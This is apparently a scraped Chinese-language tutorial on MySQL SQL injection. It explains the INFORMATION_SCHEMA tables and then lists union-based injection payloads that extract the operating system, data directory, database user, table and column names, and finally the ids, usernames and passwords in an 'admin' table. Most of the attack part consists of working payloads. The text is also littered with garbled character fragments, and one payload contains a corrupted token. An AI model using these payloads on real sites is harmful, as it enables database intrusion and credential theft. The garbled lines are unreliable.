mysql常规注入

admin

本文介绍MYSQL盲注的一些语句和方法

学习盲注前先了解下 IFORMATION_SCHEMA 库

/ x( t3 x8 C3 O: x9 F/ P! rMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其中记录了Mysql中所有
- d0 t8 ?" C4 b& n9 ~存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
1.得到所有数据库名：
0 Q' u* Q' ^! R5 b; [|SCHEMATA ->存储数据库名的表
|---字段：SCHEMA_NAME ->数据库名称
. \7 j& q8 E  r' C
+ c1 `0 @- ~( m|TABLES ->存储表名
|---字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
: {3 {1 W8 {" S! m' |; ||---字段：TABLE_NAME ->存储表的表名

|COLUMNS ->存储的字段名表
* B& k8 I; R) ~3 W* U|---字段：TABLE_SCHEMA ->该字段所属数据库名
  \4 x6 O1 o0 X3 ~0 J|---字段：TABLE_NAME ->存储所属表的名称
3 F" c3 `# h# r" R. k6 ~0 v  q
: ^1 |, c# y% t0 \( J4 D; {; {4 c|---字段：COLUMN_NAME ->该字段的名称
# B3 y: \2 \3 P1 K+ T. q0 o


###########################################################################
6 V1 ~# P5 r- y9 q
- R/ m; N5 ^; l0x001 获取系统信息:

union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

6 j$ i/ U- u- }( q  i@@global.version_compile_os 获取系统版本
4 A& C, R8 b7 P/ ?
@@datadir 数据库路径
! \3 L& A1 N' g$ v  i$ bdatabase() 当前数据库名称
2 W. l1 [9 i) x- Z  L0x3c62723e 换行HEX值

*/
& @; Y! X( K5 Z9 C4 M, w* \  b
+ a& ?6 X% R' N8 o3 o
5 ]1 D+ o4 ^7 K0 U8 }
######################################################################

( B/ D& s; ~' R! W2 C$ d+ L0x002 获取表名
$ c5 q+ W9 h5 F3 O# _1 T; T8 e& t
) {+ V; B  |& |( g3 T4 Aunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
9 v0 F9 E  w! J& H4 r7 g' w9 O


/*
& r+ f- @7 Z9 F& C/ n9 ~
0x67617264656e 为当前数据库名

4 B/ n) `+ V# \/ l; C8 ~group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/
6 ]& }7 X  n1 z! J8 _6 k
  r' T' S, c/ L7 O! H######################################################################
$ S, z; f0 T, C* Q( S7 |* Q4 y. }( b


: ~' q! V0 q* v1 Z: E! D) v& y0x003 获取字段
% }* @( O/ ]1 _7 v0 d5 s3 X
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
* b6 W, }8 M: M- F6 k& Y5 g
0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/
- Y- S% c5 p; Q" V1 [
#####################################################################
8 V$ S' m% z/ W% [+ [6 Z- W; y
3 }) _- E; s: ~4 S5 x4 [6 {' e
2 v/ A+ Q1 f, y$ g
0x004 获取数据
, p' ?( H9 G3 U; J2 r6 M9 C; \
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
1 Q0 l* F. n) O
- U. c9 _0 Z& q# h6 Z( Tunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin



3 N! f9 g+ `7 M! K1 i/ v/*
7 A# e% k5 W& J0 L+ P: L
0x3c62723e 换行符号HEX编码
1 R) ^+ \/ u; X/ Y$ D
5 g# z" p1 m7 f$ t( _8 ]$ \group_concat 同时获得该字段所有数据
) g$ r6 }: M  m; `; \6 A
*/